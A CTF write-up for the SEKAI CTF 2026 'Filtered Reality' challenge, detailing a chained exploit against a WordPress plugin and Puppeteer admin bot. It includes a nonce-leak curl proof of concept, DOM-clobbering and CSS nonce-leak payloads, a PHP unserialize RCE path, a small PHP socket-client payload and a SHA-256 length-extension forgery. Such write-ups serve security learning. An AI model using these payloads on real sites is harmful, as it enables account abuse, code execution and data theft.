Filtered Reality
Full-chain CTF writeup for a WordPress and Puppeteer bot challenge involving nonce leakage, DOM clobbering, CSP nonce recovery, RCE, and SHA-256 length extension.
I solved this challenge after SEKAI CTF 2026 ended. During the live contest window, I was not able to finish the full chain.
TL;DR
Filtered Reality was a WordPress + Puppeteer bot challenge where the intended path was not one vulnerability, but a chain of small trust-boundary breaks.
The challenge provided a low-privileged WordPress account:
archive_clerk / ArchiveClerk!2026
At first, this account looked useless because it only had the subscriber role. However, it could reach logged-in-only AJAX actions. The key was leaking a privileged AJAX nonce by spoofing WordPress’s admin screen ID through PHP_SELF / PATH_INFO.
After leaking the archive_seal_record nonce, the subscriber could queue arbitrary archive records for the admin bot. The rest of the exploit chained browser-side techniques to gain admin JavaScript execution, then used a server-side RCE path and a SHA-256 length extension attack against the keeper service to recover the flag.
A WordPress nonce is not authorization. Nonces only prove intent or freshness in a specific UI flow; sensitive AJAX handlers still need capability checks such as current_user_can().
High-Level Attack Graph
archive_clerk login
|
v
WordPress admin screen-id spoof
|
v
Leak archive_seal_record nonce
|
v
Queue arbitrary record for admin bot
|
v
Bot opens /?render=<ref>
|
v
Fake Signed HTTP Exchange fallback
|
v
Admin bot lands on /?archive_moderation=1
|
v
DOM clobber sanitizer bypass
|
v
Inject CSS
|
v
Leak CSP nonce from <meta content>
|
v
Inject <script nonce=...>
|
v
Admin JavaScript execution
|
v
Trigger backend RCE
|
v
Talk to keeper socket
|
v
SHA-256 length extension
|
v
Flag
Challenge Components
Web Stack
WordPress 6.6.2
Apache + mod_php
MySQL
Custom archive plugin
Puppeteer/Chromium admin bot
Keeper service over Unix socket
Important Internal Services
HTTP app: http://127.0.0.1:1337
HTTPS app: https://127.0.0.1:1338
Keeper socket: /run/keeper/keeper.sock
Bot Behavior
The bot logs in as an administrator and repeatedly checks pending archive reports:
GET /?archive_pending
For every pending reference, it opens:
GET /?render=<ref>
The first objective is to get an attacker-controlled record reference into the pending queue.
The Queue Gate
The application allowed anyone to submit an archive record, but public submissions were only stored. They were not automatically sent to the admin bot.
The relevant queue writer was the archive_seal_record AJAX action:
public static function seal_record()
{
check_ajax_referer('archive_seal_record', '_wpnonce');
Archive_Records::report((string) ($_POST['ref'] ?? ''));
wp_send_json_success('sealed');
}
This handler had a critical authorization bug:
// Missing:
current_user_can('manage_options')
The action was registered as a logged-in AJAX action:
add_action('wp_ajax_archive_seal_record', ['Archive_Ajax', 'seal_record']);
There was no public version:
// Not present:
add_action('wp_ajax_nopriv_archive_seal_record', ...)
Unauthenticated users could not call it, but the shared archive_clerk subscriber could. The only missing piece was a valid archive_seal_record nonce.
Leaking the Seal Nonce
The Reviewer Desk Screen
The plugin printed the seal nonce only when WordPress believed the current admin screen was the Reviewer Desk:
public static function maybe_print_seal()
{
$screen = get_current_screen();
if ($screen && $screen->id === 'toplevel_page_archive-desk') {
printf(
'<input type="hidden" id="seal" value="%s">',
esc_attr(wp_create_nonce('archive_seal_record'))
);
}
}
At first, this looked safe because the real Reviewer Desk required:
manage_options
A subscriber could not access:
/wp-admin/admin.php?page=archive-desk
However, the plugin trusted get_current_screen()->id as if it were an authorization boundary. That was the mistake.
WordPress Screen-ID Spoofing
The exploit did not access the real Reviewer Desk. Instead, it accessed the subscriber-accessible dashboard with poisoned PATH_INFO:
/wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk
The actual script was still:
/wp-admin/index.php
That dashboard route is accessible to the subscriber.
WordPress derives $pagenow from $_SERVER['PHP_SELF']. With Apache + PHP, the decoded path becomes similar to:
/wp-admin/index.php/x
/wp-admin/toplevel_page_archive-desk
The newline is critical.
WordPress’s admin parsing regex effectively looks for a /wp-admin/ path and captures the page name. Since . does not match a newline by default, the first /wp-admin/ match fails to consume the entire string. The regex then matches the second /wp-admin/ occurrence after the newline:
/wp-admin/toplevel_page_archive-desk
As a result, WordPress computes:
$pagenow = toplevel_page_archive-desk.php
$hook_suffix = toplevel_page_archive-desk.php
$current_screen->id = toplevel_page_archive-desk
The plugin then prints the seal nonce for a subscriber.
Proof of Concept
BASE=http://localhost:4000
curl -s -c c.txt -b c.txt \
-d 'log=archive_clerk&pwd=ArchiveClerk!2026&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1' \
"$BASE/wp-login.php" >/dev/null
curl -s -b c.txt \
"$BASE/wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk" \
| grep -oE 'id="seal" value="[a-z0-9]+"'
Example output:
id="seal" value="abc123..."
Queueing a Malicious Record
Once the seal nonce is leaked, the subscriber can queue any record:
curl -i -s -b c.txt \
-d "action=archive_seal_record&ref=<ref>&_wpnonce=<seal_nonce>" \
"$BASE/wp-admin/admin-ajax.php"
Successful response:
{"success":true,"data":"sealed"}
The reference is appended to:
/wp-content/uploads/.reports.queue
The admin bot later consumes this queue and opens:
/?render=<ref>
At this point, the attacker controls content rendered by the admin bot.
Why Direct XSS Was Not Enough
The /render route reflected the archive body, but the response was protected by CSP. Normal inline JavaScript would not execute without the correct CSP nonce.
The attacker also needed to reach the admin-only moderation page because it contained:
1. The source-field sanitizer sink
2. The archive_process_record nonce
3. Admin authenticated context
Therefore, the next objective was to move the bot from:
/?render=<ref>
to:
/?archive_moderation=1&ref=<ref>
Signed HTTP Exchange Fallback
The challenge exposed an HTTPS vhost on port 1338, and the bot launched Chromium with:
--ignore-certificate-errors
This was intentional.
The exploit used a crafted invalid Signed HTTP Exchange body. Chromium attempted to parse it as SXG. When parsing failed, Chromium followed the embedded fallback URL.
The fake SXG body used this structure:
sxg1-b3\x00
2-byte fallback URL length
fallback URL
padding
Conceptually:
def sxg_body(ref):
fallback = f"https://127.0.0.1:1338/?archive_moderation=1&ref={ref}".encode()
return (
b"sxg1-b3\x00"
+ len(fallback).to_bytes(2, "big")
+ fallback
+ b"\x00" * 64
)
When the bot opened:
/?render=<ref>
Chromium interpreted the body as a broken SXG and navigated to:
https://127.0.0.1:1338/?archive_moderation=1&ref=<ref>
Because the bot ignored certificate errors, the internal HTTPS navigation succeeded.
DOM Clobbering the Sanitizer
The moderation page rendered the record’s source field through a client-side DOMParser sanitizer.
The sanitizer could be bypassed with DOM clobbering by shadowing the childNodes property:
<form>
<input name="childNodes">
<input name="childNodes">
PAYLOAD
</form>
This confused the sanitizer’s traversal logic and allowed attacker-controlled elements inside the form to survive.
The first payload smuggled a stylesheet import:
<form>
<input name="childNodes">
<input name="childNodes">
<style>@import url('/?archive_raw=<css_ref>&fmt=css')</style>
</form>
The CSS was hosted as another archive record and served through:
/?archive_raw=<css_ref>&fmt=css
Leaking the CSP Nonce with CSS
The moderation page used a nonce-based CSP:
script-src 'nonce-<nonce>'
The <script nonce> attribute itself was protected by browser nonce hiding. However, the same nonce was also exposed in a readable location:
<meta content="<nonce>">
CSS attribute selectors can match meta[content]. Therefore, the attacker could leak the nonce through CSS-based side channels.
The nonce was a 24-character hexadecimal string. The exploit generated selectors for:
2-character prefix
2-character suffix
3-character substrings
Example:
meta[content^="ab"] {
--s_ab: url('/?archive_leak=1&tk=<token>&S=ab');
}
meta[content$="ef"] {
--e_ef: url('/?archive_leak=1&tk=<token>&E=ef');
}
meta[content*="abc"] {
--m_abc: url('/?archive_leak=1&tk=<token>&M=abc');
}
Then the exploit forced the browser to evaluate the variables through a property such as background.
When a selector matched, the browser requested:
/?archive_leak=1&tk=<token>&S=<prefix>
/?archive_leak=1&tk=<token>&E=<suffix>
/?archive_leak=1&tk=<token>&M=<trigram>
The application’s leak endpoint wrote the requests to:
/wp-content/uploads/leak_<token>.log
Reconstructing the CSP Nonce
From the leak log, the attacker obtained:
S = leaked 2-character prefix candidates
E = leaked 2-character suffix candidates
M = leaked 3-character substrings
The nonce was reconstructed by overlapping trigrams.
Example:
S = 12
M = 123, 234, 345, 456
E = 56
Reconstruction:
12
123
1234
12345
123456
Algorithmically:
1. Start with the leaked prefix.
2. Find a trigram whose first two characters match the current suffix.
3. Append the third character.
4. Repeat until length 24.
5. Keep only candidates ending with the leaked suffix.
Once the CSP nonce was recovered, attacker-controlled JavaScript could run in the admin bot.
Running Admin JavaScript
The exploit submitted another record whose body was again the fake SXG fallback body.
Its source field used DOM clobbering again, this time to smuggle an iframe:
<form>
<input name="childNodes">
<input name="childNodes">
<iframe srcdoc="
<script nonce=<recovered_csp_nonce> src='/?archive_raw=<exploit_js_ref>'></script>
"></iframe>
</form>
The bot processed it as follows:
1. Opens /?render=<ref>
2. Chromium follows SXG fallback to the moderation page.
3. DOM clobbering bypasses the sanitizer.
4. The iframe is inserted.
5. The script has the correct CSP nonce.
6. The exploit JS runs in the admin context.
At this point, the attacker had JavaScript execution as the admin bot.
From Admin JavaScript to RCE
There were two possible RCE routes after admin JavaScript execution.
Route A: WordPress/PHP POP Chain
This was the route used by the provided solver.
The admin JS scraped the archive_process_record nonce from the moderation page:
let nonce = parent.document.getElementById('archive_nonce').value;
Then it called:
/wp-admin/admin-ajax.php
with:
action=archive_process_record
_wpnonce=<archive_process_record_nonce>
blob=<base64_serialized_pop_chain>
The backend did:
@unserialize($blob);
The serialized object triggered a POP chain:
unserialize()
-> __wakeup()
-> in_array()
-> __toString()
-> WordPress core gadget chain
-> include($filePath)
-> php://filter iconv chain
-> generated PHP payload
The generated PHP payload connected to the keeper socket.
Route B: Chrome/V8 N-Day
An alternative route would be to load a Chrome/V8 exploit as the JavaScript payload.
Relevant Chromium issue:
https://issues.chromium.org/issues/382291459
Because the bot runs Chromium with:
--no-sandbox
a renderer RCE can become container-level code execution.
The chain would become:
CSP nonce recovered
-> load /?archive_raw=<v8_payload_ref>
-> trigger V8 type confusion
-> native code execution in renderer
-> no sandbox
-> talk to keeper socket or exfiltrate flag
This route replaces the PHP POP chain with a browser memory-corruption exploit.
Keeper Client RCE Payload
The POP route used a small PHP payload as a keeper client:
<?php
$s=@stream_socket_client("unix:///run/keeper/keeper.sock",$e,$x,2);
$r=$s?(fwrite($s,$_REQUEST["k"]."\n")?trim((string)fread($s,4096)):"WERR"):"NOSOCK";
$t=preg_replace("/[^a-zA-Z0-9]/","",(string)($_REQUEST["t"]??"out"));
@file_put_contents("/var/www/html/wp-content/uploads/$t.log",$r);
?>
It accepted:
k = command sent to keeper
t = output log filename
Example:
k=CYCLE
t=<token>cyc
The payload sent CYCLE to the keeper socket and wrote the response to:
/wp-content/uploads/<token>cyc.log
This gave the admin JavaScript a keeper command oracle.
Keeper Protocol
The keeper supported commands similar to:
CYCLE
SIGN <hex_message>
FLAG <hex_message> <signature>
The signing construction was:
sha256(secret || message)
The SIGN command refused to sign messages containing the flag command, but the construction was vulnerable to length extension.
SHA-256 Length Extension
The exploit first asked the keeper for the current cycle:
CYCLE
Then it built a benign message:
cycle=<cycle>;user=guest
It asked the keeper to sign it:
SIGN <hex(cycle=<cycle>;user=guest)>
This returned:
sha256(secret || benign_message)
The exploit then appended:
;cmd=give_flag
Using SHA-256 length extension, it computed a valid digest for:
secret || benign_message || glue_padding || ;cmd=give_flag
without knowing the secret.
The exploit brute-forced the secret length from 0 to 48 bytes. The real secret length was 16 bytes, so one attempt succeeded.
Finally, it sent:
FLAG <hex(forged_message)> <forged_signature>
The keeper accepted the forged message and returned the flag.
Flag Retrieval
The keeper response was written to:
/wp-content/uploads/<token>flag.log
The solver repeatedly fetched:
/wp-content/uploads/<token>flag.log
until it saw the expected SEKAI flag format:
SEKAI{...}
Final Exploit Flow
[1] Log in as archive_clerk
|
v
[2] Request /wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk
|
v
[3] Spoof current_screen->id
|
v
[4] Leak archive_seal_record nonce
|
v
[5] Call archive_seal_record to queue a malicious ref
|
v
[6] Bot opens /?render=<ref>
|
v
[7] Fake SXG fallback redirects bot to HTTPS moderation page
|
v
[8] DOM clobbering bypasses sanitizer
|
v
[9] Inject CSS
|
v
[10] CSS leaks CSP nonce from meta[content]
|
v
[11] Reconstruct CSP nonce
|
v
[12] Inject iframe srcdoc with <script nonce=...>
|
v
[13] Admin JavaScript execution
|
v
[14] Trigger RCE path
|
+--> PHP POP chain route
|
+--> Chrome/V8 n-day route
|
v
[15] Interact with keeper socket
|
v
[16] Exploit SHA-256 length extension
|
v
[17] Read flag from uploads log
Key Takeaways
The challenge was difficult because no single bug gave the flag. Each primitive only unlocked the next stage:
screen spoof
-> nonce leak
-> queue bot
-> SXG fallback
-> moderation sink
-> DOM clobber
-> CSS nonce leak
-> admin JS
-> RCE
-> keeper oracle
-> length extension
-> flag
The most important lesson is simple:
A nonce is not authorization.
The archive_seal_record endpoint was protected by a nonce, but not by a capability check. Once the nonce was leaked through a UI-context spoof, the subscriber account became powerful enough to drive the entire bot exploit chain.